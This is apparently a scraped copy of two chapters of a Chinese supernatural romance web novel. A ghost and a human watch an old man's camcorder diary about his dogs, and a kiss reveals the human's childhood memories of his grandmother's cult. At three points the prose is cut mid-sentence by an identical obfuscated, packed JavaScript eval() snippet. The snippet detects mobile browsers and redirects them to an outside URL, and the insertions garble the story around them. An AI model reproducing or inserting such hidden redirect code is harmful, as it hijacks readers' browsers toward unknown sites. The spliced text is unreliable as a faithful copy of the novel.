谎言覆盖着谎言,妄语编织着妄语。 方休娓娓道来,微红的眼中满是真诚。面对慌乱的同伴,他的讲述如同一杯醇酒,听着人心里熨帖,有种守得云开见月明的轻快感。 白双影吃着阿桥与卢苇的生魂,默不作声地听。 放在之前,白双影会惊叹于此人的狡猾多变。现在他却冒出一个不合时宜的念头——白双影突然觉得,这样的方休看起来不怎么开心。 哪怕在与姜寻的对峙中,方休用法器毛笔逗小狗,都比眼下更为快乐。 小狗静**在方休身边,抬起葡萄似的眼珠瞧他,尾巴时不时摇晃两下。白双影抱起小狗,点了点它冷飕飕的鼻头。 “罢了,他说他要慢慢来,大概还会在这待上些时日。” 小狗舔舔白双影的指尖,歪过脑袋。 “之前我跟你说的,都忘了吧。” 白双影抚摸小**柔软的毛发,“你尽管去打扰他。” “汪呜?” “你问为什么?” “因为我想要了解他,所以我希望他更放松一点。” 他的人类在脸上包了一层又一层的面具,从发丝到指尖,身体每处都紧紧绷着。 只有在无需编织谎言的时候,那些面具才会露出一丝缝隙,让他窥见真实的方休。 小狗似懂非懂,脑袋从一侧歪向另一侧。白双影若有所思地瞧着它,久久不语。 “白双影。” 太阳彻底升起时,方休终于编织完了他的谎言。他面颊贴着白双影的胳膊,试图用自家鬼给脑袋降温。 “你有没有什么着急想说的?没有的话,我……睡一会儿……” 他打了个巨大的哈欠,恨不得倒在院子里睡。 一夜下来,白双影确实有很多事情想要询问他的人类。 比如那个使用讨厌法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705306|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术的归山教是什么,青玉挂坠代表着什么,方休又为何憎恨它的信徒。现在方休非常疲惫,正适合引诱逼问。 可看着方休一副摇摇欲坠的模样,他又不想问了。 “睡吧。”白双影按按他的脑袋,“慢慢来便好。” 小狗跟着汪汪叫了两声。 慢慢来便好。 在心里,白双影朝自己重复了一遍。 …… 中午,方休是被热汤的味道叫醒的。 他动动鼻子,在自家鬼的袖子里睁开眼。 眼前的一切过于熟悉,他下意识绷了几秒,才意识到姜寻不在了,身边没再有威胁 。 窗外天气正好,窗户敞开,微凉的空气灌入屋内,吹得人神清气爽。 屋子里没了黄毛,空间显得大了不少。黄毛的仕女图歪斜着靠在墙角,他没吃完的水果还剩在盘子里。 又一个人消失不见,就像某种倒计时。 方休用余光瞧向梅岚。 梅岚双眼红肿,恹恹地缩在被子里,活像真的被吓到了。要不是方休牢记昨天的景象,他都要怀疑自己是不是中了幻象。 目前看来,梅岚不仅是黑.道士,还和山混子、姜寻一样,是“归山教”的一员。 按理说,自己应该毫不犹豫地除掉她。可是她居然杀**姜寻——教徒互相残杀是归山教的大忌,梅岚此人的立场很有意思。 ……还有他们口中莫名其妙的“末日”,方休此前从未听说。 方休决定不去打草惊蛇,再观察一阵。 当然对于队伍来说,这算是一个安全隐患。幸运的是,他现在无需面对它。 在这里,他将按下暂停键,在血腥的倒计时中争取一点时间……一点名为“生活”的宝贵时间。 想到这里,方休伸出双手,抱紧了自家鬼。白双影由着他抱,只是再次伸出手,手心盖上方休的眼。 方休:“嗯?” “没有我的法术,你看不到那只小狗。”白双影说,“你似乎很中意它。” 话音未落,小狗趁成松云开门接水,炮.弹似的冲进屋里。它一个跳跃,准确踩中方休的肚子,然后狂舔方休的脸。 白双影:“……它似乎也很中意你。” 方休拨开满地撒欢的小狗,艰难地坐起身。小狗再次嗖地冲上前,一口咬住方休的T恤下摆,一个劲儿往门的方向拽。 “不行,不行,先吃完饭再散步。”方休压低声音,摸了摸小狗的脑袋。 小狗使劲甩甩头,扯得更用力了,方休的T恤差点被它掀下来。 “它在让你跟它走。” 方休震撼:“你懂狗话?” 白双影:“……它的状况有些复杂。总之跟它走就是,它大概找到了能让你放松的东西。” 他说过,他希望方休放松一点,它显然也如此希望。 方休被小狗缠得没办法,急急忙忙起了身,被小**一路拖进院子。 小**冲他开心地汪汪大叫,把他们引到院落墙角。那正是上次方休发现废旧拖鞋和塑料玩具的小小角落。 小**抬起爪子,飞快刨起土来。泥土飞溅中,一样东西渐渐露出轮廓—— 那是一架款式老旧的手持摄像机。 它被泥土掩埋,没有分毫锈蚀的迹象,但它也没有散发出多少阴气,显然不是此地的厄。 小狗咬住摄像机系带,小心翼翼拖到方休面前。它期待地望着方休,尾巴摇得要原地起飞。 白双影:“这是什么?” 方休拾起摄像机,他准确地找到充电口,用技能充起电来。 “怎么说呢,这是人类批量制造的‘厄’。”方休说。 “它也可以展示因果。” 第 76 章 在你身边 第76章在你身边 【第一个吻。】 “滋滋……” 小小的电子屏亮起来,画面一阵晃动固定在柿子树下。影像中正值冬天地面和树枝都积了厚厚的雪。 一个身影拎着马扎,坐在了画面中心。 那是个六七十岁的老爷子,正笑呵呵地眯缝着眼。他刚坐稳一条大黄狗摇头晃脑地挨了过去,往他怀里扑。 大黄狗戴着破旧的红色项圈看起来上了年纪毛发干糟糟的。 “行咯行咯,好狗好狗。”老人抚摸狗头大声招呼,“帆儿倩儿,过来跟爷爷录个像。” 两个十岁左右的孩子兴冲冲跑过来,靠在老人身边啃糖葫芦。孩子们穿着厚厚的羽绒服像两个涂了彩色奶油的面包。大黄狗顿时转移目标冲裹着糖的山楂疯狂舔嘴。 老人搂住孙子孙女,快乐地看向镜头。 “都回来过年咯,老二给买了录像机子,今个试试。”他对着镜头不太熟练地说道。“这是个好东西,记下来不忘事!” “爷爷你怎么不写日记呀?”孙女问。 “爷爷没文化,不识字咯。” “这个会录满的!”孙子说。 “说是买了很大的……那个卡?爷爷省着点用,够用。” “汪汪!”大黄狗在老人身边绕来绕去。 老人笑得非常开心。 “爸别在外头待太久,太冷了!”画外远远传来一个女声。 “哎——” …… 下一段是秋季,柿树上挂满圆滚滚的柿子。小女孩乖乖站在树下让老人划下身高小男孩蹲在旁边玩手机,手机里不时传出游戏音效声。 上个视频的大黄狗不见了这次凑过来的是一只半岁左右的土狗。它**色黑黄交杂安静地趴在老人脚边尾巴有一下没一下地摇晃。 “大黄呢?它不是一直在吗?”孙女问。 “大黄年岁到了走咯。”老人的笑容暗了暗“狗儿都这样命短。” “大黄比我们大它都十岁了爸妈说它过不得冬。”孙子埋头嘀咕“还是当人好当人活得长。” 老人沉默了会儿:“是啊当人活得长。” 小土狗安静地趴在老人脚边圆溜溜的眼睛瞄着三个人类。 小女孩记完身高跑过去揉捏小狗的软耳朵。小狗尾巴扫着落叶耳朵一动一动。 “爹吃饭啦!”一个男声从画面外传来。 “哎——” …… 第三段是春天 老人一个人坐在树下随手掰着肉包子一点点喂给爱 犬。 “我问了老二媳妇她说这东西够录好久的像。我寻思吧我也没几年活头了。光录他们回来这东西用不完呐。” 老人摸着小狗的脑袋冲镜头坐得板板正正像是要上电视。 “我得多录点是不豆子?咱们录点啥呢……” 名为“豆子”的小狗吃完包子歪头舔老人手上的包子屑和油。老人低下头看了会儿那个古旧的红项圈。 “得今儿就讲讲你。真要算你得排行老十五……” ……老人养了大半辈子的狗。 老爷子小时候遇见战乱没了爹妈差点冻死在街边。靠贴着邻居家老狗他勉强捡回一条命。 自那之后他开始坚持养狗——用他自己的话说他本来就喜欢狗何况老天都觉得养狗旺他。 为此他攒的第一笔钱没拿去买肉买衣裳而是去皮匠那里定了个红项圈。这项圈跟皮带似的随便调松紧狗儿能从小用到大。 往后的故事平淡无波。 他年轻时走南闯北身边有条狗跟着姑且能防身。 他有一口吃的身边的小狗就有一口吃的。他在厂里上班小狗就在窝棚旁边等。夜里冷了他就跟小狗一起睡谁也不嫌谁脏。 “老四最惨被憨货偷了弄肉吃。”老人讲述到一半恨恨地骂 后来他成了家养的小狗负责看家护院。 他和媳妇生了两个儿子一个闺女。大儿子生下来就没了小闺女长到三岁害病**。好容易拉扯大老二老二又早早出去读书。院子里除了媳妇就只有他的小狗。 儿子在外面住宿一年只能回来两次。从那时起他的人生逐渐被“等待”淹没。 “老九最争气有个偷儿进来偷鸡给它撵了出去。” “它就是有点傻每次老二回家都得认上老久。也可能是老了不中用……” 老人抱起小狗絮絮叨叨地念。 他六十岁的那一年媳妇长了癌没救过来。儿子在外头成家立业有了一儿一女只有在秋天小长假和过年回来。 老友们要么没了要么跟着儿孙搬了家。偌大的院子变得空空荡荡只有小狗不知疲倦地跑来跑去。 孤身一人后“等待”占用了他绝大部分人生。 他高兴时等待亲人失落时等待死亡。 “我搁这等着。等我出门干活你再搁这等着咱爷俩倒是差不多。” 老爷子亲亲小狗毛茸茸的脑壳“人这一辈子太长喽。” “汪!”小狗舔舔老人的鼻尖。 兴许是真的无事可做老人把这录像当 成了日记。 他白天出门侍弄花草,傍晚回来录个几分钟。春去秋来,风雨无阻。 老人对着黑洞洞的镜头,讲述着今天的琐事,偶尔回忆往昔。他的姿态从最初的拘谨,到放松,再到熟稔。仿佛面前的不再是机器,而是一位愿意倾听的老友。 然而与此同时,老爷子脊背越来越佝偻。他的儿子儿媳头发逐渐斑白,孙子孙女长大成人、各自成家。短暂的“日记”里,相聚的画面越发稀少。 终于某一年,过年时院门安安静静,无人拜访。 即便如此,画面中的老人永远背靠柿子树,面对着小小的手持录像机——或者说,手持录像机之后的院门。 好在这些记录并非一潭死水。模糊的画面中,很多小狗吹气似的长大,然后消失。但老人身边总有那么一只小狗,它们蹦蹦跳跳地越过时光,时刻陪伴老人,抑或是殷切地守在院子门口,等待老人回家。 只有看着它们的时候,老人还能动动满是皱纹的脸,捋出一点笑意。 二十余年的光阴,就这样压缩成了短短几个小时。 最后的录像是一个冬日。 那天风很大,录像里能听到尖锐的呜呜声响。地面和树枝都积了厚厚的雪,老爷子看着年近九十,身上裹着黑乎乎的棉袄,身体像枚蛀空的核桃。 他还是拎着马扎,靠着树坐着。 “这卡快存完了,人咋还在呢。” 他被风吹得眯缝着眼,吐出一点点白汽。 一只小**愉快地蹦过来,一跳一跳地往老人怀里扑。老人慢慢低下头,一下又一下地抚摸小狗,皱缩的手背被寒风吹成红棕色。 “好狗,好狗,真暖和。”他念叨。 小**舔着他的手,尾巴一个劲儿地摇。 老人看着镜头,雕像般发了会儿呆。日常如出一辙,回忆逐渐消退。如同一块彻底挤干的海绵,他连闲聊都挤不出几句。 “对咯,得出去买盐。盐没了,盐没了……” 枯坐几分钟,他又摸摸小狗,颤颤巍巍站起来。 小**懵懂地摇着尾巴。看老人要出门,它习惯性地冲上前,去咬老人的右脚跟。 “别闹腾。”老爷子笑起来,“等着,回来陪你耍。” “汪汪!”小**绕着他的脚转着圈。 “坐下,等着!” 小狗听话地坐下。 老人一步一步走出画面,走入无尽的风声。 小狗等着,等到院子外面传来喧闹声,等到救护车的声音鸣响。 有人在叫唤,说着“风大”、“滑倒”、“家里没人”之类的话,小**听不懂。它在柿子树下趴着,嘴巴搁在爪子之间,眼睛定定看着院门的方向。 不久后,有人进了院子,叮里咣啷翻动院子里的东西。小狗气得跑出画面,汪汪大叫。 画面一阵晃动,一个中年人拿起手持录像机,哎呀了一声。 “赶紧给人放下,说不定亲戚回来拿呢。另一个人提醒道。 “狗咋办啊?不让人碰,咋赶都不走。 “给它弄点吃的得了。 小狗叫累了,固执地趴回树下。 天色渐暗,外头的嘈杂声逐渐消失,录像机电量即将耗尽。雪埋住了小狗的身体,小狗时不时起来抖雪,随后趴回原位。 风雪越来越大。 小**身体打着抖,呼出来的白汽越来越稀少。可它仍然停留在原地,执着地盯着院门。 它的主人还没回来呢,他对它说,等着。 【所以它要等。】 ……终于,画面熄灭,一切归于黑暗。 …… 方休放下了手持摄影机,一时无言。小**在他脚边绕着圈,得意地叫了两声。 白双影翻译:“它的主人总对这东西笑,所以它认为你也会喜欢。 方休俯下身体,轻轻挠了挠小**的耳朵。 小狗的脖颈间,红色的皮项圈格外扎眼。它斑驳陈旧,散发出强烈的阴气。 看完录像,“厄的本体显而易见。承载了诸多因果,又属于小狗的东西,就只有这个古旧的项圈。 可这次它所汇集的不是人的因果,也不是人的执念。 十几只小狗戴过它,它们终其一生陪伴着同一个人,等待着同一个人。 最后,它浸泡在等待的执念中,与小**一同埋于风雪。 ……这个厄的因果称不上庞杂,执念也称不上深重,成因平凡到极点。但论因果纠缠,它比中秋厄还要紧密,执念纯粹得吓人。 小狗不理解主人的死,也不理解自己的死。它只记得老人在一个大风天离开,从此没有回来。 院子外面很危险,风也很危险。它要守好他们的家,好好等下去。 于是厄的三条禁忌之外,又多了许多“制裁坏人、阻止暴力的作祟。小狗并没有刻意混淆禁忌,它只是照常看家护院。 “它到底多强?方休干脆坐在地上,双手抚摸小**。 “它随时可以成仙。 白双影犹豫了会儿,坐到方休对面,“厄与它因果相连,加上它日日吞食邪祟,能力勉强够格。 方休摸狗的手一顿:“地府为什么不帮它? “这东西缺点灵智,无法正常升仙。白双影直白地表示,“它不知道自己已死,自然没有‘更进一步’的想法。 他的手边,小狗快乐地舔着鼻子,毫无意义地呼哧呼哧喘。 方 休:“……”原来是太笨了。 方休:“如果我破坏了厄……” “它的执念太过澄澈变不成邪祟。没有厄的支撑它终究会消散。”白双影据实相告。 他的心情很是不错——既然方休喜欢这只小狗势必愿意多停留一阵。 果然方休的表情黯淡了几分他抱起毛茸茸的小**感受着小狗柔软却冰冷的身体。 “看来我要在这里多待一段时间了。”他小声说使劲搓着小狗。 白双影:“!” 果然比起硬逼方休留下顺势而为更有效。白双影发现“思考”挺有乐趣一番折腾下来他有种看人类主动进窝的成就感。 不过方休貌似还是不太开心。 全力的思考后白双影成功想到一个办法——一个让方休更加放松更愿意久留的绝好主意。 他将目光从手持录像机上收回:“我也可以复现你的因果。” “我的因果?” “你说你祖母的院子与这很像。既然你要长住我能够制造幻象将它复现出来。” 白双影说道“就像欢喜鑫天地的赌徒房间只需一线因果。” 先来一线因果试试。这样一来理解方休的过去哄好他的人类一举两得。 方休:“……我说过我奶奶是横死的而且恨我。” 白双影不假思索:“可是提到她的时候 方休垂下目光沉默许久:“我要怎么把因果给你?” “让我翻找你的生魂。”白双影理直气壮。 他还没有恢复到随手**因果的地步。 方休整个人僵了下。现在他的生魂包在肉身里白双影要碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705307|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触生魂难道…… “和取食.精气道理相同亲吻即可。” 白双影说“你说你要在‘我喜欢你’的时候才会吻我没说我不能主动吻你。” 方休:“???” 等一下好像是这个道理。他一时不知道该感慨白双影狡猾还是这分析能力鬼斧神工。 方休的心脏快了两拍。如果是为了抽取因果而且还是白双影的主动提议……这应该不算利用白双影。 他即将和喜欢的鬼一起度过一小段平和的人生。这样的机会没有第二次了稍微增加一点点美好或许不要紧? ……反正结局已经注定了。 方休轻轻放下小**他拍拍自己的脸又小心抚平T恤上每一处皱褶。 折腾完衣服他闭目深呼吸、调整精神就差原地念经打坐。白双影耐心等了半炷香只见方休睁开眼眼神开始往手摇水泵的方向飘:“我想先漱个口不烧水洗个澡……” 白双影 忍无可忍。 他捏住拼命摇头,叫唤着“外面有薄荷叶至少让我嚼两片”的方休,用全新的方式堵住了此人的嘴巴。 方休如同被叼住后颈的走兽,瞬间不再动弹。 和记忆里一样温暖柔软,白双影心想。 人类真的很执着于交.配仪式——他之前又不是没钻过方休的身体,上回方休的反应可没这么大。 猛地被亲吻刺激,方休体温骤然升高,生魂波动不止,溢出不少精气。 白双影没有分神,他趁着方休生魂不稳,召出了想要的那一丝因果。它自方休心口游出,凝成一根血红丝线,几乎与那件红T融为一体。 太轻松了,不如趁机多看两眼。 方休的生魂只是稍稍波动,他想再剥得深一点,再看看其他因果。 白双影一边亲吻,一边牢牢固定着方休的肩膀。 他不清楚人类怎样亲吻,不过他知道人类会伸舌头。他可以变换肉身,必定做得比凡人要好。 于是,白双影随口把玩着方休的舌头,又分出几条额外的舌头。 他的舌尖**伸长,在方休的咽喉里摩挲交缠,感受着喉管温热的挤压。舌尖上带了些许角质,轻轻搔弄脆弱的黏膜。方休喉咙里呜了几声,皮肤冒出一层薄汗。 深吻之下,方休的生魂波动得愈发剧烈,白双影刚要继续深入—— “噗哈!” 方休伸手把他推开,拼命喘气,皮肤几乎和T恤一个颜色。 白双影遗憾地缩回舌头,十几条钩爪般的舌尖缓缓并拢,合为一体。 哦对,他忘记了,活人要呼吸来着。 他不太习惯以人形肉身入侵,不小心堵住了方休的气管。 “……你,咳,你找到因果了。” 方休用力盯着胸口红线,用一种特别故作镇定的语气说道。 “嗯。”白双影点头。 很难说方休的表情是震惊更多,还是享受更多。不过方休生魂既然出现波动,足以证明他动了情,自己应该没有做错。 方休搓了很久自己的脸,有点吞吐地发问:“那个什么,怎么样,我的生魂味道不错吧?” 白双影:“……” 白双影逐渐皱起五官:“……忘了品尝。” 白上仙不习惯同时思考多件事情,他刚才一门心思偷看,完全忘了品尝他的人类——! 方休:“?” 瞧着自家鬼一副舔了柠檬的表情,方休脸上的错愕迅速消失。没过几秒,噗噗偷笑起来。 白双影满眼谴责地看着方休。后者实在忍不住,抱着小**大笑出声。 “……哎哟,这样也挺好,至少给你留个悬念。” 方休擦着笑出来的眼泪,面颊仍 然红得惊人,“下次记好了啊,我可不会提醒你。” 白双影无言。 就这样吧,至少他的人类开心了不少。而且…… 他勾紧了手中因果,开始窥探。 …… 第一眼,白双影还以为自己没动地方。 无他,方休祖母的院子与那个小院真的挺像——同样的正房加上两个厢房,同样的院子中央种树,甚至连手摇水泵的位置都差不多。 只是方休祖母家种的不是柿子树,而是枣树。 “奶奶,奶奶!” 一个穿红袄的小男孩跌跌撞撞跑向院子,满脸是笑,年纪也就四五岁。 白双影仔细看了好一会儿,才认出方休。并非是因为年岁不同,而是他从未见过那么……无忧无虑的方休。 “哎哟我的小祖宗,别摔了。” 一个硬朗的老太太迎出门,一把抱起小男孩,“我们休休想爷爷奶奶了吗?” “想了!” “没骗奶奶?”老太太笑逐颜开,脸上的皱纹都舒展不少。 “我从来不骗人。”幼小的方休挺起胸膛,“爸爸妈妈说做人要诚实,坏孩子才说谎。” “对喽,我们休休是好孩子。想吃什么啊?想吃啥奶奶做啥。”老太太捏捏孙子的脸蛋。 “想吃芝麻糖饼!奶奶做的芝麻糖饼最好吃。”小方休毫不客气地点菜。 “好好好,糖饼吃个够。”老太太抓起孙子的手,笑着走进正房。 走路途中,小方休时不时回头看:“爸爸妈妈快来,奶奶说做糖饼!” 他的背后,一对男女提着礼物,有说有笑地跟上。 ……毫无疑问,那是方休的父母。方休和母亲足足有八.九分像,白双影一眼就能认出来。 白双影盯着方休的父母看了好一会儿。 这对人类男女样貌十分出色。他们皮肤细腻、眼神柔和清明,衣着也很高档,看着不乏涵养与财富。而且瞧他们的身姿步态,没有半点玄学中人的味道。 原来如此,方休的父母只是普通凡人,甚至是凡人之中知书达礼的那一派。方休要是正常长大,理应成为一个翩翩公子。 他怎么就成了现在的模样? 白双影挑动指尖,顺着因果快速漫游。他跳过无数和和美美的瞬间,直接拨到了方休祖父去世后。 那一年,方休九岁。 第 77 章 初次说谎 第77章初次说谎 【因果纠葛。】 白双影发现,方休小时候一点都不瘦。 小方休身体结实,脸颊和四肢圆润润的。他九岁时的身高就到了一米四,气色好得惊人。 意外发生的那一天,窗外秋叶纷飞。 家里车子出了故障,父母出门找人修车。小方休乖乖待在奶奶家正房里,边吃糖饼边看书。奶奶和两个街坊唠嗑,时不时呵呵笑两声。 小方休捧着书,没怎么看进去。他一直竖着耳朵,偷偷听奶奶讲话。 堂弟一家和爷爷去世后,奶奶变得沉默寡言。她时常坐在院子里发呆,一坐就是一整天。 奶奶不愿搬家,爸爸特地休了长假,在老家陪了奶奶几个月。然而奶奶的精神并没有好转,连带着记忆力迅速恶化。过年时,她一直冲方休呼喊堂弟的名字,还忘记了给芝麻糖饼放糖。 小方休第一次感受到死亡的威力。 亲人的死亡就像一场重病。 他是小孩,恢复得最快。爸爸妈妈尽管难过许久,最终也走了出来。只有他年迈的奶奶被这场病彻底击垮,一天天衰弱下去。 曾经的奶奶精神矍铄,她经常给方休讲老一辈的鬼怪故事,能连讲一天不重样。如今奶奶只会给他讲一件事,她说她不该鼓励堂弟一家旅游,她不该告诉爷爷堂弟家出了事。 她面无表情,念经一样翻来覆去地讲。似乎只要揽下所有罪责,逝去的亲人就会回来。 出事之后,家里每个月都回去探望老人。小方休却感觉他们一年一见——奶奶衰老的速度快得吓人。她一年前还健步如飞,现在走起路来关节僵直、抖得厉害。面部肌肉如同橡胶面具,没有半点生气。 ……突然有一天,奶奶脸上挂了灿烂的笑。 奶奶郑重地告诉他们一家,她信了“归山教,教里的兄弟姐妹给她解了惑—— 她上辈子德行有亏,这辈子来还债。只要这辈子多多积德,下辈子他们一家人就能重新团聚,平安喜乐地过完一生。 “教主会好多法术,说是那个古代大名人的传人,都有家谱! 她的双眼恢复了神采,“城里好多信的,那些个名人也信呢。 终于确认了自己是“罪人,奶奶反而十分高兴,小方休无法理解。 对此,他的父母爆发了数次争吵。 妈妈坚持强硬对待,哪怕硬来也要把老人接进城里。 父亲却想要温和处理——奶奶非常抗拒离开老家,又好不容易找到点寄托。老人精神刚好转,要是知道自己被骗,怕是会一蹶不振。他们可以多留心勤走动,别让 她陷太深。 “听说信那个的人挺多也不是人人都乱闹。”爸爸笑得勉强“妈只是捐捐钱、念念经。咱们先多照看着不要刺激她。” 小方休皱眉:“可是这不对。” 爸爸目光哀伤:“生病了要治疗对吧休休?但是对于一些爷爷奶奶来说治疗的伤害可能比生病还大。” 妈妈:“报纸上刚报的那个教乱搞非法社区 “那都在大城市。咱妈住得偏村里信的没几家不打紧……”爸爸小声喃喃也不知道是在解释给谁听。 如此折腾大半年。妈妈让奶奶改信爸爸劝奶奶进城均以失败告终。他们求助过警方然而老人一把年纪警察也只能口头劝导——当时归山教疯狂发展城里教徒都管不过来何况偏僻山村的老人。 小方休想了很久也没能想出解决办法只能帮父母多留心奶奶。 奶奶精神头越来越好好得有些骇人整个人如同运转过头的机器。她开始频繁联系方休一家这次刚放长假奶奶就喊他们回来赏秋。 ……房间里奶奶还在和街坊聊天。 其中一个慈眉善目的大妈站起身给看书的方休塞了本小册子。 “看书好咱看看这个。” 册子封面画着一个身穿道袍仙风道骨的中年男人。人像两边写了“庄归去第五十八世孙庄崇岳”、“千年回首四海八荒第一人仙”。 标题的位置则印着“归山神言”四个大字。 什么乱七八糟的小方休看得眉头直皱。他扭过头去没接大妈的册子。 大妈脸上的笑容纹丝不动:“没事儿那咱给你念。” “归去来兮归去来兮——” “**皆大欢喜——” 小方休塞住耳朵。 “休休不礼貌!”奶奶微笑着呵斥又转头看向大娘“别在意啊姐妹我家孩子太小给外头那些谎话污染啦以后就好了。” 以后就好了? 小方休疑惑地看着奶奶奶奶低头朝他笑嘴角翘得高高的。 大娘欣慰地点点头:“对对你们家里人都聪明认得清真理。等到了那边大家一定会好好待他们。” “我儿子像我肯定没问题。”奶奶自信地说道“大师那边都安排好了应该快到咯……待会儿要是太乱我跟着去劝劝。” 好好待他们?安排好了? 奶奶的笑容比从前还要和蔼小方休却有种莫名的紧张感。 “奶奶你要把我们送走吗?”他问。 “哎唷这孩子生得真好漂亮又聪明。他还听得懂这个呢!” 两位街坊笑吟吟地赞美他们露 出夸张的微笑,目光像是看未开化的猴子。 小方休没理会他们。他放下书本,抓住奶奶的衣服:“奶奶?” “休休,咱们家赚钱赚得太多,这样积不了德。” 老人攥住他的手,轻声细语道,“我跟你爸爸说了好多回,多给神仙捐一些,多给神仙捐一些,他就是不听……这样下去,下辈子咱们就当不了家人了。” “奶奶只是想让你爸妈去听听大师的课,多学点东西。就像休休去上学,不是坏事。” 街坊们复读机般重复:“是呀是呀,多学点东西。庄大师的弟子来过这儿,人家真的会法术!真是活神仙!” “他们在学校都不教这个,净是谎话,这世道唉——” 小方休:“……” 他的手腕被奶奶攥得生疼,老人恍若未觉,目光灼灼地盯着他:“乖孩子,帮奶奶保密好不好?” “你爸妈都被坏人骗了,他们很快就醒悟过来。到时候咱们一家人一起供奉活神仙,下辈子团团圆圆!” 小方休绷紧身体,没吭声。 “休休不喜欢奶奶吗?”奶奶的手越攥越紧,“帮奶奶保密好不好?” “帮奶奶保密好不好?” “帮奶奶保密好不好?” 老人一遍遍重复,语气柔和亲昵,手上的力道却愈发吓人。 手腕疼得像要断掉,两个街坊渐渐将他围住。小方休动动嘴唇,他吸了口气,挤出一声乖巧的“好”。 奶奶终于松了手。她脸上皱纹扭动,笑得十分幸福。 “这孩子还是懂道理的,晓得好孬。”她说,“你们知道不,我这孙儿从来不说谎呢。” 小方休一路装傻充愣,好容易溜出正房。他抓了根树枝,在门口写写画画,做出一副玩土的样子。正房里的三个人目光全在他身上,小方休后背一阵冷汗。 不知等了多久,爸爸妈妈风尘仆仆回来了。听到父母的声音,方休本能地松了口气。 “我还是感觉车被人弄坏了,来的时候还好好的呢。” “你别多想,我待会儿打电话约个车。” “别待会儿了,现在约。这地方山路多,咱们明天都赶不及回去……” 夫妻俩的交谈声传入院子,奶奶和街坊走出正房,笑呵呵往门口迎。 “爸爸,妈妈!”小方休扔下棍子,下一步扑上前去。 奶奶的态度很奇怪,方休有种不祥的预感,“归山教想要带走他们”肯定是件大事。 既然是大事,自己不应该保密。他的父母很有本事,说不定能说服奶奶。 ……当一次说谎的坏孩子,应该没关系吧? ……奶奶那么疼爱他,肯定会原谅他的。 方休趁着 父母没进门,抱住爸爸的腰,小声快速说道:“他们说归山教安排好了,要带我们一家走。” 爸爸的动作凝固了。他反应两秒,果断抱起方休,给了妈妈一个眼神。 妈妈心神领会,迅速挂上一个亲切的笑:“妈,午饭晚点吃哈,我们先带休休去山里玩。” “山里多危险哟,有啥好耍的?”街坊大爷大声说。 “是噢是噢,好些人在里头失踪呢。”街坊大妈提高声音。 听到声音,院子外的农户放慢脚步,转脸看过来。他们没有看向高声交谈的大爷大妈,目光反而全都钉在方休一家身上,如同发现糖块的蚂蚁。 方休暗暗打了个哆嗦,抱紧父亲的脖子。 奶奶目光走了一圈,脸上的笑容淡了淡:“山那边凶得很,别带着孩子穷折腾,快进来吃饭。” “妈你这话说的,我在这儿长大,知道哪里危险。我们就在外头转转,正好挖点野菜添道菜。” 村民们围得更近了,爸爸抱紧方休,声音有点发干。 爸爸的谎话太过蹩脚,奶奶脸上的笑容消失了。她的表情和周围乡亲同出一辙——脸上没什么表情,目光钉子一样钉过来。 “琼玉,你骗我。”她厉声斥责,“你咋的,当面骗自己亲娘?” 爸爸的嗓子像是吞了火炭:“妈……真的,我们一会儿就回来……” 他努力演着早已失败的戏,语气近乎恳求。 “看热闹”的乡亲越来越多,多到有点不正常。仿佛整个村子的人都从各个角落钻出来,将他们团团围住。 好多人,方休茫然地想。明明奶奶一直告诉他们,村里只有几户人家信这个…… “执迷不悟,得请大师——” “不认活神仙,准是被邪祟附身咯。” “就数她家儿子最有钱,欠的功德最多……” …… 村民们毫不在意地高声交谈,眼睛统统盯向这边。他们组成一张密不透风的肉网,有说有笑地绞紧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705308|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人拄着镐头和草叉,随意踱着步子。方休认出两个很关照他的大婶,她们面带和蔼的笑,向他展示雪亮的剪刀。 方休不由地缩起身体,把脸埋进爸爸胸口。 他发现爸爸身上汗湿湿的,胸口随着呼吸快速起伏,心跳声堪比地震。 也许是过了几秒,也许过了几个世纪,妈妈尖叫一声:“跑!” 几乎就在下一刻,方休听到奶奶的怒吼:“给我站住!” 方休从没听过奶奶发出那么恐怖的嘶吼。 他的爸爸妈妈没有停下,也没有朝村口跑。夫妻俩撞开试图拦截的村民,就近冲向群山。原本准备拦截的村民们弄错了方向,慢了一拍。 “追 呀!快追呀! 奶奶急得直跺脚,居然气喘吁吁地跑起来。 方休脑子发木。 之前,妈妈不让他看太多归山教相关的文章。方休只知道那是邪.教,不是好东西,人们喜欢用“危险、“疯狂之类的词来形容它……现在他觉得那一点都不准确,就像用“冰冷来概括死亡,单薄又无力。 车子没修好,他的父母用双腿疯狂奔跑。逐渐后退的视野里,他看见奶奶疯狂追赶的身影。 “别跑啊,奶奶。他小声念叨,“对身体不好。 